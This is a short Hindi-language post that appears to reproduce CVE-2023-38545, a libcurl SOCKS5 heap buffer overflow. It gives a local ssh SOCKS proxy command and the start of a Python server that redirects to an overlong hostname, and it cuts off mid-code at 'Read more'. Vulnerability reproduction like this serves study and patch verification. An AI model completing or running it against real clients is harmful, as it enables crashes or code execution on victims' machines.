अस्वीकरण

यह लेख केवल तकनीकी चर्चा और सीखने के उद्देश्य से है। इस दस्तावेज़ में दी गई जानकारी के उपयोग से होने वाले किसी भी प्रत्यक्ष या अप्रत्यक्ष परिणाम और नुकसान की जिम्मेदारी उपयोगकर्ता की होगी, लेखक इसके लिए कोई जिम्मेदारी नहीं लेता है।

CVE-2023-38545: libcurl-SOCKS5-heap-buffer-overflow

संदर्भ प्रोजेक्ट: https://github.com/UTsweetyfish/CVE-2023-38545 एक बार पुनः प्रस्तुत करना

पुनः प्रस्तुत करने की प्रक्रिया:

1. निम्नलिखित कमांड चलाकर एक SOCKS5 सेवा शुरू करें, जो पोर्ट 10801 पर सुन रही हो:```jsx ssh -D 10801 127.0.0.1

1. python फ़ाइल बनाएँ:server.py，एक वेब सेवा खोलें जो अत्यधिक लंबे होस्टनाम के साथ 301 प्रतिक्रिया लौटाती है，पोर्ट 8000 पर सुनें，फिर python3 से चलाएँ：```jsx
from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # 301重定向到超长的URL
        self.send_response(301)

---

Read more